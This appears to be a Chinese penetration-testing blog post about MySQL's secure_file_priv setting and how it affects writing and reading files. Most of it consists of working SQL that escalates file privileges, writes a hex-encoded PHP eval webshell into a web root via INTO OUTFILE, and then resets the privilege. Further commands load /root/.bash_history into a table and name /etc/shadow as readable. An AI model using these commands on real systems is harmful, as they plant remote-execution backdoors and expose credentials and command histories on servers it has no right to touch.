mysql flush priv_MYSQL新特性secure_file_priv对读写文件的影响

在渗透测试的时候,我们使用into outfile快速写入一句话后门时经常会出现写入不了的情况:

update mysql.user set file_priv='Y' where user='root';

flush privileges;

select concat("'",0x3C3F70687020406576616C28245F504F53545B2778275D293B3F3E) into outfile '../webroot/xxxxxx.php';

update mysql.user set file_priv='N' where user='root';

flush privileges;

不能写入文件原因,可能是MYSQL新特性secure_file_priv对读写文件的影响:

//查看配置项:

SHOW VARIABLES LIKE "secure_file_priv"

3f3a0b7d5ddd6d26596befa5f84ddc55.gif

//如果查到了secure_file_priv的值,再执行下列命令就可以写入文件了:

select 123 into outfile '/var/lib/mysql-files/test1.txt '

//限制mysqld 不允许导入 | 导出:

mysqld --secure_file_prive=null

//限制mysqld 的导入 | 导出 只能发生在/tmp/目录下:

mysqld --secure_file_priv=/tmp/

//不对mysqld 的导入 | 导出做限制:

cat /etc/my.cnf

[mysqld]

secure_file_priv=

//如果没有权限,mysql还有个低权限读文件漏洞,/etc/shadow /root/.bash_history都可以读出来,下面语句测试成功 for MYSQL 5.5.53:

drop table mysql.m1

CREATE TABLE mysql.m1 (code TEXT );

LOAD DATA LOCAL INFILE '/root/.bash_history' INTO TABLE mysql.m1 fields terminated by ''

select * from mysql.m1

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值